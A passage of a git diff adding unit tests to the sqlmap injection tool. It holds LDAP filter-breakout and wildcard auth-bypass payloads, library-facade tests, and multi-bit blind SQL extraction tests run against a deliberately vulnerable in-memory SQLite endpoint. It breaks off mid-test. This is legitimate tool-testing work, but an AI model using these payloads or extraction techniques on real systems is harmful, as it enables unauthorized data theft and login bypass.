= ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_boolean_divergence(self): + """True payload returns different content than false payload. + The engine tries multiple breakout prefixes; the first '*')' with + '(objectClass=*)' tautology should succeed.""" + def fakeSend(place, param, value): + # First breakout '*)' with (objectClass=*) succeeds + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + self.assertIn("*)(objectClass=*", bypass) + + def test_ldap_breakout_uses_matched_false_filter(self): + # the false control must share the true control's breakout+attribute+open-fragment shape, + # differing ONLY in the assertion value: (attr=*) vs (attr=). It must NEVER be a + # bare original+SENTINEL string (an unmatched control a validation layer could diverge on). + sent = [] + + def spy(place, param, value): + sent.append(value) + return '{"count":15}' if value.startswith("x*)(objectClass=*") else '{"count":0}' + + ldap._send = spy + from lib.core.enums import PLACE + template, _, _ = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertTrue(any(v.endswith("=%s" % SENTINEL) and "(" in v for v in sent), + "no syntax-matched false LDAP filter control was sent: %r" % sent[:8]) + self.assertNotIn("x%s" % SENTINEL, sent) # the discredited bare original+SENTINEL is gone + + def test_ldap_403_is_inconclusive(self): + # a 403 (WAF / rate-limit) must NOT enter the oracle as a page - _send returns None + from lib.request.connect import Connect + from lib.core.enums import PLACE + orig = Connect.getPage + Connect.getPage = staticmethod(lambda **kw: ("blocked by WAF", {}, 403)) + try: + self.assertIsNone(ldap._send(PLACE.GET, 'q', 'x')) + finally: + Connect.getPage = orig + + +class TestExtraction(unittest.TestCase): + def test_inferAttribute_simple(self): + """Blind-extract a value with a controlled oracle.""" + oracle = _mockOracle("admin") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "admin") + + def test_inferAttribute_empty(self): + """No probes match.""" + oracle = _mockOracle("") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertIsNone(value) + + def test_inferAttribute_partial(self): + """Probe matches a single char only.""" + oracle = _mockOracle("a") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "a") + + def test_inferAttribute_email(self): + """Extract value with special characters.""" + oracle = _mockOracle("admin@example.com") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "mail") + self.assertEqual(value, "admin@example.com") + + def test_inferAttribute_inconclusive_aborts_not_truncates(self): + """An oracle that stays INCONCLUSIVE must abort the attribute (return None) rather than + truncate it to whatever prefix was recovered before the ambiguous bit.""" + from lib.utils.nonsql import InconclusiveError + + class InconclusiveOracle(object): + def extract(self, payload): + raise InconclusiveError() + + builder = ldap._ProbeBuilder(")") + self.assertIsNone(ldap._inferAttribute(InconclusiveOracle(), builder, "uid")) + + +class TestMultiValueDump(unittest.TestCase): + """Multi-valued LDAP attributes must NOT be 'enumerated' via entry-scoped negation (which excludes + the whole entry and mixes entries) - recover ONE matching value and label it honestly.""" + + def setUp(self): + self._exists, self._infer, self._dumpTable = ldap._exists, ldap._inferAttribute, ldap._dumpTable + + def tearDown(self): + ldap._exists, ldap._inferAttribute, ldap._dumpTable = self._exists, self._infer, self._dumpTable + + def test_reports_one_value_and_never_excludes(self): + captured = {} + exclusionsSeen = [] + + ldap._exists = lambda oracle, builder, attr, **kw: attr == "member" + def fakeInfer(oracle, builder, attr, constraint=None, exclusions=None, **kw): + exclusionsSeen.append(exclusions) + return "cn=alice,dc=x" if attr == "member" else None + ldap._inferAttribute = fakeInfer + ldap._dumpTable = lambda title, cols, rows: captured.update(title=title, cols=cols, rows=rows) + + dumped = ldap._dumpMultiValues(object(), ldap._ProbeBuilder(")"), "GET", "q") + self.assertTrue(dumped) + self.assertEqual(captured["rows"], [("cn=alice,dc=x",)]) # exactly one value + self.assertIn("one matching value", captured["title"].lower()) # honest label + # the broken exclusion walk must be gone: _inferAttribute is called WITHOUT exclusions + self.assertTrue(all(e in (None, [], ()) for e in exclusionsSeen)) + + +class TestIsError(unittest.TestCase): + def test_isError_positive(self): + self.assertTrue(ldap._isError("Bad search filter (-7)")) + + def test_isError_negative(self): + self.assertFalse(ldap._isError("OK")) + + def test_isError_ad(self): + self.assertTrue(ldap._isError("AcceptSecurityContext error, data 525")) + + +class TestSlot(unittest.TestCase): + def test_slot_defaults(self): + slot = ldap.Slot(place="GET", parameter="q") + self.assertEqual(slot.place, "GET") + self.assertEqual(slot.parameter, "q") + self.assertIsNone(slot.backend) + self.assertIsNone(slot.oracle) + self.assertIsNone(slot.template) + self.assertIsNone(slot.payload) + self.assertIsNone(slot.breakout) + self.assertIsNone(slot.bypass) + + +class TestBoundaries(unittest.TestCase): + def test_breakout_prefixes_defined(self): + """Verify the breakout prefix list is non-empty and ordered.""" + self.assertGreaterEqual(len(ldap.LDAP_BREAKOUT_PREFIXES), 4) + # First prefix should be the simplest/most generic + self.assertEqual(ldap.LDAP_BREAKOUT_PREFIXES[0], "*)") + + def test_detectBoolean_returns_prefix(self): + """_detectBoolean must return the winning breakout prefix.""" + def fakeSend(place, param, value): + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + + def test_detectBoolean_fallback_prefix(self): + """When first prefix fails, try next one.""" + calls = [] + def fakeSend(place, param, value): + calls.append(value) + # First breakout '*)' -- error + if value.startswith("x*)(objectClass=*"): + return '{"error":"Bad search filter"}' + # Second breakout ')' succeeds + if value.startswith("x)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, ")") + + +class TestAuthBypassRestriction(unittest.TestCase): + def test_auth_bypass_password_like(self): + """Blockers 6: wildcard auth bypass only for password-like params.""" + self.assertTrue(ldap._isPasswordParam("password")) + self.assertTrue(ldap._isPasswordParam("pass")) + self.assertTrue(ldap._isPasswordParam("pwd")) + self.assertTrue(ldap._isPasswordParam("passphrase")) + self.assertTrue(ldap._isPasswordParam("secret")) + self.assertTrue(ldap._isPasswordParam("pincode")) + self.assertTrue(ldap._isPasswordParam("credential")) + self.assertTrue(ldap._isPasswordParam("apikey")) + self.assertTrue(ldap._isPasswordParam("token")) + self.assertTrue(ldap._isPasswordParam("auth_token")) + + def test_auth_bypass_search_like(self): + """Search parameter 'q' is NOT reported as auth bypass.""" + self.assertFalse(ldap._isPasswordParam("q")) + self.assertFalse(ldap._isPasswordParam("search")) + self.assertFalse(ldap._isPasswordParam("query")) + self.assertFalse(ldap._isPasswordParam("username")) + self.assertFalse(ldap._isPasswordParam("id")) + + +class TestCookiePlace(unittest.TestCase): + def test_cookie_not_in_ldap_places(self): + """Blockers 2: cookie/URI not in LDAP_PLACES until _send supports them.""" + from lib.core.enums import PLACE + self.assertNotIn(PLACE.COOKIE, ldap.LDAP_PLACES) + self.assertNotIn(PLACE.URI, ldap.LDAP_PLACES) + + +class TestNestedFilterParsing(unittest.TestCase): + def setUp(self): + # Import the REAL vulnserver parser (same technique as + # tests/test_graphql.py :: TestVulnserverGraphqlParser). `extra` and + # `extra/vulnserver` are packages, so a plain import works. + from extra.vulnserver import vulnserver + self.vs = vulnserver + + def test_nested_compound_parses_all_siblings(self): + """Blockers 3: nested (&) inside (|) must parse all siblings.""" + f = '(|(&(uid=a)(cn=b))(mail=*))' + + # The REAL _ldap_match must balance brackets across nested compounds. + # Outer (| ... ) starts at 0 and ends at len(f). + outer_end = self.vs._ldap_match(f, 0) + self.assertEqual(outer_end, len(f)) + # Inner (& ... )'s opening '(' is at position 2; _ldap_match must + # return the position right before the (mail=*) sibling. + inner_end = self.vs._ldap_match(f, 2) + self.assertEqual(f[inner_end:inner_end+8], '(mail=*)') + + # The REAL filter->SQL conversion must surface EVERY sibling condition: + # both members of the nested (&) AND the (mail=*) sibling of the (|). + clause, params, end = self.vs._ldap_filter_to_sql(f) + self.assertEqual(end, len(f)) + self.assertIsNotNone(clause) + # nested-(&) siblings -> AND-joined, both columns present + self.assertIn(" AND ", clause) + self.assertIn("uid", clause) + self.assertIn("cn", clause) + # outer-(|) sibling must NOT be dropped + self.assertIn(" OR ", clause) + self.assertIn("mail", clause) + # the two equality values are parameterized in order + self.assertEqual(params, ["a", "b"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_library.py b/tests/test_library.py new file mode 100644 index 00000000000..36a608e31a8 --- /dev/null +++ b/tests/test_library.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the library facade (import sqlmap; sqlmap.scan(...)). + +The facade drives the engine out-of-process through a generated configuration file (the same '-c' +mechanism the REST API uses) and reads back a '--report-json' report. These tests stub +subprocess.Popen to (a) capture the argv/config sqlmap.scan() builds from its keyword options and +(b) feed back a canned report - keeping the test fast, offline and network-free (no real scan runs). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import re +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import sqlmap + + +class _FakePopen(object): + """Stub that records argv/config and writes a canned report to the config's 'reportJson' path.""" + + captured = {} + returncode = 0 + + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv + _FakePopen.captured["kwargs"] = kwargs + with open(argv[argv.index("-c") + 1]) as f: + config = f.read() + _FakePopen.captured["config"] = config + report = re.search(r"(?im)^reportjson\s*=\s*(.+)$", config).group(1).strip() + with open(report, "w") as f: + json.dump({"success": True, "data": [{"type_name": "BANNER", "value": "3.45.1"}], "error": []}, f) + + def wait(self, timeout=None): + return 0 + + def poll(self): + return 0 + + def kill(self): + pass + + +class TestLibraryFacade(unittest.TestCase): + def setUp(self): + self._realPopen = subprocess.Popen + subprocess.Popen = _FakePopen + _FakePopen.captured = {} + + def tearDown(self): + subprocess.Popen = self._realPopen + + def test_requires_a_target(self): + subprocess.Popen = self._realPopen # never reached; guard fires first + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan) + + def test_rejects_unknown_option(self): + # a command line switch spelling (rather than a conf option name) must be rejected loudly + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1", current_user=True) + + def test_options_go_through_config(self): + result = sqlmap.scan("http://target/vuln.php?id=1", technique="BEU", dumpTable=True, + tbl="users", level=3, getBanner=True, raw=["--fresh-queries"]) + argv = _FakePopen.captured["argv"] + config = _FakePopen.captured["config"] + # driven via a generated config file, stdin ignored, engine plumbing set - no arg escaping + self.assertIn("-c", argv) + self.assertIn("--ignore-stdin", argv) + self.assertIn("--fresh-queries", argv) # raw escape hatch stays on the CLI + # options land in the config using sqlmap's own (conf) names (ConfigParser lowercases keys) + self.assertTrue(re.search(r"(?im)^url\s*=\s*http://target/vuln.php\?id=1$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*BEU$", config)) + self.assertTrue(re.search(r"(?im)^tbl\s*=\s*users$", config)) + self.assertTrue(re.search(r"(?im)^level\s*=\s*3$", config)) + self.assertTrue(re.search(r"(?im)^dumptable\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^getbanner\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^batch\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^outputdir\s*=", config)) # each run isolated on disk + # file descriptors are not leaked to the engine (matches the REST API subprocess) + self.assertFalse(_FakePopen.captured["kwargs"].get("close_fds") and os.name == "nt") + # canned report is returned verbatim + self.assertTrue(result["success"]) + self.assertEqual(result["data"][0]["value"], "3.45.1") + + def test_scan_from_request_uses_request_file(self): + sqlmap.scanFromRequest("/tmp/req.txt", technique="U") + config = _FakePopen.captured["config"] + self.assertTrue(re.search(r"(?im)^requestfile\s*=\s*/tmp/req.txt$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*U$", config)) + + def test_missing_report_raises(self): + class _NoReportPopen(_FakePopen): + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv # write nothing -> no report file + subprocess.Popen = _NoReportPopen + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") + + +class TestReportErrorCapture(unittest.TestCase): + """ + The library tells failure modes apart (unreachable vs nothing-found) because a CLI --report-json + run now records error/critical log messages into the report 'error' array, like the REST API. + """ + + def test_errors_reach_the_report(self): + import logging + from lib.core.data import logger + from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + + # represent a normal run: the shared test bootstrap silences the logger (CRITICAL+1), which would + # otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness) + saved_level = logger.level + logger.setLevel(logging.ERROR) + # mute the existing console handler(s) so the deliberate ERROR below does not leak to the + # unittest output; the recorder added by setupReportCollector next still captures it + muted = [(handler, handler.level) for handler in logger.handlers] + for handler, _ in muted: + handler.setLevel(logging.CRITICAL + 1) + collector = setupReportCollector() + try: + logger.error("boom %s", "here") + result = _assembleData(collector, REPORT_TASKID) + self.assertTrue(any("boom here" in _ for _ in result["error"])) + finally: + logger.setLevel(saved_level) + for handler, level in muted: + handler.setLevel(level) + for handler in list(logger.handlers): + if isinstance(handler, ReportErrorRecorder): + logger.removeHandler(handler) + collector.disconnect() + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_misc.py b/tests/test_misc.py new file mode 100644 index 00000000000..f3bf3faef25 --- /dev/null +++ b/tests/test_misc.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted pure helpers: stats, set ops, value predicates, value/counter stacks, +enum helpers, DBMS alias/version checks, column prioritization. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core import common as C +from lib.core.settings import NULL +from lib.core.enums import DBMS + + +class TestStats(unittest.TestCase): + def test_average(self): + self.assertEqual(C.average([1, 2, 3, 4]), 2.5) + self.assertEqual(C.average([5]), 5) + + def test_stdev(self): + self.assertAlmostEqual(C.stdev([1, 2, 3, 4]), 1.2909944, places=5) + self.assertIsNone(C.stdev([5])) # undefined for single sample + + +class TestSetOps(unittest.TestCase): + def test_intersect(self): + self.assertEqual(C.intersect([1, 2, 3], [2, 3, 4]), [2, 3]) + self.assertEqual(C.intersect([1], [2]), []) + + def test_filterPairValues(self): + self.assertEqual(C.filterPairValues([[1, 2], [3], [4, 5], []]), [[1, 2], [4, 5]]) + + +class TestValuePredicates(unittest.TestCase): + def test_isNoneValue(self): + for v in (None, [], "", {}): + self.assertTrue(C.isNoneValue(v), msg="isNoneValue(%r)" % (v,)) + + def test_isNullValue(self): + self.assertTrue(C.isNullValue(NULL)) + # discriminating negatives: an always-True impl must fail these + self.assertFalse(C.isNullValue(None)) + self.assertFalse(C.isNullValue("")) + self.assertFalse(C.isNullValue("x")) + + def test_isNumPosStrValue(self): + for v, exp in [("5", True), ("0", False), ("-1", False), ("a", False), ("12", True)]: + self.assertEqual(bool(C.isNumPosStrValue(v)), exp, msg="isNumPosStrValue(%r)" % v) + + def test_firstNotNone(self): + self.assertEqual(C.firstNotNone(None, None, 5, 6), 5) + self.assertIsNone(C.firstNotNone(None, None)) + + +class TestValueStackAndCounters(unittest.TestCase): + def test_push_pop(self): + C.pushValue(7) + C.pushValue("x") + self.assertEqual(C.popValue(), "x") + self.assertEqual(C.popValue(), 7) + + def test_counters(self): + C.resetCounter("UNITTEST") + C.incrementCounter("UNITTEST") + C.incrementCounter("UNITTEST") + self.assertEqual(C.getCounter("UNITTEST"), 2) + + +class TestEnumAndDbmsHelpers(unittest.TestCase): + def test_aliasToDbmsEnum(self): + self.assertEqual(C.aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(C.aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_getPublicTypeMembers(self): + members = list(C.getPublicTypeMembers(DBMS, onlyValues=True)) + # goal is correct EXTRACTION, not a magic count: real members present, no private/dunder leak + self.assertIn(DBMS.MYSQL, members) + self.assertIn(DBMS.MSSQL, members) + self.assertIn(DBMS.ORACLE, members) + self.assertFalse(any(str(m).startswith("_") for m in members), msg="leaked private member: %r" % members) + + def test_isDBMSVersionAtLeast(self): + set_dbms(DBMS.MYSQL) + C.Backend.setVersion("5.7") + self.assertTrue(C.isDBMSVersionAtLeast("5.0")) + self.assertFalse(C.isDBMSVersionAtLeast("8.0")) + + +class TestColumnPriority(unittest.TestCase): + def test_prioritySortColumns(self): + # assert the FULL ordering, not just the first element (id-like floats to front, + # rest keep their relative order) + self.assertEqual(C.prioritySortColumns(["data", "id", "name"]), ["id", "data", "name"]) + + def test_prioritySortColumns_empty(self): + self.assertEqual(C.prioritySortColumns([]), []) + + +class TestArrayHelpers(unittest.TestCase): + def test_unArrayizeValue(self): + self.assertEqual(C.unArrayizeValue([5]), 5) # single-element list -> the element + self.assertEqual(C.unArrayizeValue([1, 2]), 1) # multi -> first + self.assertEqual(C.unArrayizeValue(7), 7) # scalar -> unchanged + self.assertIsNone(C.unArrayizeValue([])) # empty -> None + + def test_arrayizeValue(self): + self.assertEqual(C.arrayizeValue(5), [5]) # scalar -> wrapped + self.assertEqual(C.arrayizeValue([5]), [5]) # list -> unchanged + + def test_roundtrip_scalar(self): + for v in (0, 1, "x", "value"): + self.assertEqual(C.unArrayizeValue(C.arrayizeValue(v)), v) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_multibit.py b/tests/test_multibit.py new file mode 100644 index 00000000000..c69d6b6f544 --- /dev/null +++ b/tests/test_multibit.py @@ -0,0 +1,427 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Multi-bit blind inference (lib/techniques/blind/multibit.py). + +Row multiplexing turns "which rows came back" into a whole bit vector per response, so it is only +safe as long as its gates hold: it runs on demand only ('--multi-bit'), it must decline on pages that +cannot superpose (pagination), on rows that carry no unique marker, and on values the 8-bit channel +cannot carry - and it must NEVER hand back a value it could not prove against the target. + +Driven offline against a real SQLite engine: the module's own predicates (the / atoms +from queries.xml) are evaluated by sqlite3 over a synthetic listing table and the result is rendered +as a page, exactly the way a vulnerable listing endpoint would. Only multibit._page is mocked, so +discovery, bit-plane mapping, calibration, reading and confirmation all run for real. +""" + +import os +import sqlite3 +import sys +import threading +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb, queries +from lib.core.enums import DBMS +from lib.core.enums import PAYLOAD +from lib.core.settings import MULTIBIT_MAX_FAILURES +from lib.core.settings import MULTIBIT_NARROW +from lib.core.settings import MULTIBIT_WIDEN +from plugins.dbms.sqlite import SQLiteMap # registers the SQLite escaper used by the read-back +import lib.techniques.blind.multibit as multibit + +assert SQLiteMap + +ROWS = 96 +SMALL = 15 # a real shop listing, far short of the 128 wide window +_SAID = (multibit.singleTimeWarnMessage, multibit.singleTimeLogMessage) # hint() speaks through both + +def tearDownModule(): + reset_dbms() + +class _Target(object): + """A vulnerable listing endpoint: renders the rows its (injected) predicate selects.""" + + def __init__(self, secret, limit=None, unique=True, junkEvery=0, column="id", rows=ROWS, shown=None, widenable=True): + self.db = sqlite3.connect(":memory:", check_same_thread=False) # '--threads' reads it from several + self.lock = threading.Lock() + self.db.execute("CREATE TABLE products (id INTEGER PRIMARY KEY, cat INTEGER, name TEXT)") + for i in range(1, rows + 1): + self.db.execute("INSERT INTO products VALUES (?,?,?)", (i, i, "Item-%03d" % i)) + self.db.execute("CREATE TABLE v (s TEXT)") + self.db.execute("INSERT INTO v VALUES (?)", (secret,)) + self.column = column # name the per-row link uses for the identifier + self.shown = shown # rows the page shows on its own (narrow mode's width) + self.limit = limit # rows rendered per response (pagination) + self.unique = unique # per-row markers, or identical rows + self.junkEvery = junkEvery # every Nth response is a gateway error + self.widenable = widenable # whether an OR payload can reach past the page's own rows + self.requests = 0 + + def secret(self, value): + """Point the target at another value, keeping the row channel (and its profile) intact.""" + + self.db.execute("UPDATE v SET s=?", (value,)) + + return value + + def page(self, expression, mode="widen"): + with self.lock: + self.requests += 1 + requests = self.requests + + if self.junkEvery and requests % self.junkEvery == 0: + return "

    502 Bad Gateway

    " + + if mode != "widen": # AND-ed onto the live value: only the page's own rows + expression = "%s<=%d AND (%s)" % (self.column, self.shown or ROWS, expression) + elif not self.widenable: # a filter in a subquery the injected OR cannot escape + return "Database error" + + try: + with self.lock: + rows = self.db.execute("SELECT %s,name FROM products WHERE %s ORDER BY id" % (self.column, expression)).fetchall() + except Exception: + return "Database error" + + if self.limit: + rows = rows[:self.limit] + + out = [""] + + for rid, name in rows: + if self.unique: + out.append('' % (self.column, rid, name)) + else: + out.append('') + + out.append("") + + return "\n".join(out) + +class MultibitTest(unittest.TestCase): + def setUp(self): + self._saved = dict((_, conf.get(_)) for _ in ("multiBit", "firstChar", "lastChar", "hostname", "path", "verbose", "eta", "api", "noEscape", "threads")) + self._savedKb = dict((_, kb.get(_)) for _ in ("multibit", "multibitHinted", "nullConnection", "technique", "injection", "bruteMode", "multiThreadMode", "originalPage")) + self._savedPage = multibit._page + self._savedInjection = (kb.injection.place, kb.injection.parameter, kb.injection.data) + + conf.multiBit = True # opt-in: nothing here runs without the switch + conf.firstChar = conf.lastChar = None + conf.hostname, conf.path, conf.verbose = "test", "/", 0 + conf.eta = conf.api = conf.noEscape = False + conf.threads = 1 + + kb.multibit = {} + kb.multibitHinted = False + kb.nullConnection = None + kb.originalPage = None # force discovery through the (mocked) request path + kb.bruteMode = kb.multiThreadMode = False + kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN + kb.injection.place, kb.injection.parameter = "GET", "cat" + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {}} + kb.data.processChar = None + + set_dbms("SQLite") + + def tearDown(self): + for key, value in self._saved.items(): + conf[key] = value + for key, value in self._savedKb.items(): + kb[key] = value + # kb.injection is restored by identity above, so its members have to be put back one by one + kb.injection.place, kb.injection.parameter, kb.injection.data = self._savedInjection + multibit._page = self._savedPage + multibit.singleTimeWarnMessage, multibit.singleTimeLogMessage = _SAID + + def _attempt(self, secret, length=None, **kwargs): + target = _Target(secret, **kwargs) + multibit._page = target.page + + return self._read(target, secret, length), target + + def _read(self, target, secret, length=None): + """Extracts the target's CURRENT value, so a case can chain several through one channel.""" + + multibit._page = target.page + + return multibit.attempt("SELECT s FROM v", lambda idx: secret[idx - 1:idx], length) + + def test_extracts_and_beats_single_bit(self): + secret = "sqlmap-multi-bit-channel-1234567890-ABCDEFGHIJKLMNOPQRSTUVWXYZ" + value, target = self._attempt(secret, len(secret)) + + self.assertEqual(value, secret) + # single-bit would need 8 requests per character just to read it + self.assertLess(target.requests, 8 * len(secret)) + + def test_extracts_without_known_length(self): + secret = "no-length-known-here-but-still-exact" + value, _ = self._attempt(secret) + + self.assertEqual(value, secret) + + def test_declines_when_too_few_rows_are_rendered(self): + # not even two bits plus a canary, so there is nothing to multiplex + value, target = self._attempt("this must never come back", 25, limit=2) + + self.assertIsNone(value) + self.assertLess(target.requests, 40) # and it must find that out cheaply + + def test_page_that_cannot_be_widened_falls_back_to_its_own_rows(self): + # a fixed filter in a subquery the injected OR cannot escape: the whole-table channel does not + # calibrate, and the five rows the page itself renders still carry four bits per request + secret = "five rows still beat one bit" + value, _ = self._attempt(secret, len(secret), limit=5, widenable=False) + + self.assertEqual(value, secret) + self.assertEqual(list(kb.multibit.values())[0]["mode"], MULTIBIT_NARROW) + + def test_small_table_is_usable(self): + # a listing with far fewer rows than the 128 wide identifier window leaves the high bit planes + # empty; the shared row markup must not then be placed at a row that does not exist (it would + # become the canary, and "no rows selected" would be indistinguishable from a junk response) + secret = "fifteen products are enough to carry this" + value, _ = self._attempt(secret, len(secret), rows=SMALL) + + self.assertEqual(value, secret) + + def test_pagination_wider_than_the_channel_is_still_usable(self): + # a page that renders 10 rows can still carry a channel that only ever addresses 9 of them - + # rejecting it would throw the technique away on most real listings + secret = "ten rendered rows are enough" + value, _ = self._attempt(secret, len(secret), limit=10) + + self.assertEqual(value, secret) + + def test_declines_when_rows_carry_no_unique_marker(self): + value, _ = self._attempt("indistinguishable rows", 22, unique=False) + + self.assertIsNone(value) + + def test_declines_on_non_ascii_value(self): + # 8 bits cannot carry it, so the read-back must catch it rather than return mojibake + value, _ = self._attempt(u"stra\u017enji dio", 12) + + self.assertIsNone(value) + + def test_junk_responses_never_produce_a_wrong_value(self): + secret = "junk-tolerant-extraction-must-stay-exact" + + for every in (3, 5, 7, 11): + value, _ = self._attempt(secret, len(secret), junkEvery=every) + self.assertIn(value, (secret, None), "junkEvery=%d produced %r" % (every, value)) + + def test_unprovable_value_does_not_condemn_the_channel(self): + # the unescaper stands down on data matching EXCLUDE_UNESCAPE, so this value cannot be proven + # back - but that is the value's problem, not the channel's, and must not latch it off + value, _ = self._attempt("no way to escape CREATE TABLE x (a int)", 36) + + self.assertIsNone(value) + self.assertNotEqual(list(kb.multibit.values()), [False]) + + def test_first_value_that_cannot_settle_the_cross_check_keeps_the_channel(self): + # the cross-check compares the FIRST character of whatever value comes first; an empty one, a + # non-ASCII one, and one whose codepoint has an ASCII low byte (U+0141 -> 0x41 'A') all settle + # nothing, and none of them may condemn a channel that calibrated cleanly + for first in ("", u"\u017eaba pod vodom", u"\u0141ukasz Nowak here"): + target = _Target(first) + self.assertIsNone(self._read(target, first, len(first) or None)) + + good = target.secret("plain ascii value that must still come back") + self.assertEqual(self._read(target, good, len(good)), good, "condemned after %r" % first) + + def test_null_values_do_not_condemn_the_channel(self): + # a NULL column has no length, so the read-back's length probe comes back unselected no matter + # what the channel did - i.e. exactly the way a channel dropping rows fails it. That is the + # data's doing, and a handful of NULLs in one dump must not retire a working channel + first = "first value is perfectly readable ascii" + target = _Target(first) + self.assertEqual(self._read(target, first, len(first)), first) + + for _ in range(MULTIBIT_MAX_FAILURES + 1): + target.secret(None) + self.assertIsNone(self._read(target, "")) + + good = target.secret("and the channel is still fine afterwards") + self.assertEqual(self._read(target, good, len(good)), good) + + def test_unreadable_value_mid_run_keeps_the_channel(self): + target = _Target("first value is perfectly readable ascii") + self.assertEqual(self._read(target, "first value is perfectly readable ascii", 39), "first value is perfectly readable ascii") + + bad = target.secret(u"\u0141ukasz") # reads back as "Aukasz" - right length, wrong char + self.assertIsNone(self._read(target, bad, len(bad))) + + good = target.secret("and the channel is still fine afterwards") + self.assertEqual(self._read(target, good, len(good)), good) + + def test_row_identifier_may_share_the_injected_parameter_name(self): + # a shop injectable through ?cat= can perfectly well render per-row ?cat= links; the candidate + # is picked because its values VARY, not because of what it is called + secret = "same name as the injection point is fine" + value, _ = self._attempt(secret, len(secret), column="cat") + + self.assertEqual(value, secret) + + def test_atoms_are_wellformed_for_every_supported_dbms(self): + # only the SQLite path is executed above; the others must at least produce balanced, fully + # substituted SQL - including the negative shift a later window produces ("id--67" would be a + # comment, so it has to come out parenthesized) + for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE, DBMS.SQLITE): + set_dbms(dbms) + expressions = (multibit._bitcol("id", 5, 3), + queries[dbms].bitmap.query % ("SELECT s FROM v", "id", "(-67)", 8, "id", "(-67)", 8)) + + for expression in expressions: + self.assertNotIn("--", expression, dbms) + self.assertNotIn("%s", expression, dbms) + self.assertNotIn("%d", expression, dbms) + self.assertEqual(expression.count("("), expression.count(")"), dbms) + + def test_nothing_runs_without_the_switch(self): + conf.multiBit = False + value, target = self._attempt("not to be read", 14) + + self.assertIsNone(value) + self.assertEqual(target.requests, 0) + + def test_resumed_partial_value_is_left_to_bisection(self): + # a resumed value starts mid-string, and multi-bit reads from the first character: it would + # re-read what is already cached and then fail its own length read-back + target = _Target("resuming this one is bisection's job") + multibit._page = target.page + + self.assertIsNone(multibit.attempt("SELECT s FROM v", lambda idx: 'x', 35, None, True)) + self.assertEqual(target.requests, 0) + + def test_threaded_read_matches_the_serial_one(self): + # the chunks sit at known positions, so they are independent; the value must come out identical + secret = "threaded reads must assemble in position order, not in completion order" + + conf.threads = 4 + value, _ = self._attempt(secret, len(secret)) + + self.assertEqual(value, secret) + + def test_profile_is_per_injection_point(self): + secret = "first parameter value here padded out" + value, _ = self._attempt(secret, len(secret)) + self.assertEqual(value, secret) + self.assertEqual(len(kb.multibit), 1) + + kb.injection.parameter = "other" + value, _ = self._attempt(secret, len(secret)) + self.assertEqual(value, secret) + self.assertEqual(len(kb.multibit), 2) + + def test_identifiers_ignore_site_chrome(self): + # a single-product DETAIL page: one real row (a hidden form field), but the only REPEATED + # markup is the nav menu, the currency switcher and the security-level links - all site + # chrome. That must yield NO candidates, so the page is ruled out for free and the risk-3 + # question can never fire on it (the exact failure this trigger replaces) + page = """ + x +
    + USDEUR + lowhigh +
    + +

    Quantum USB Cable

    +

    $9.99

    Transfers data before you even plug it in.

    + add to cart
    +
    +
    +

    demo shop

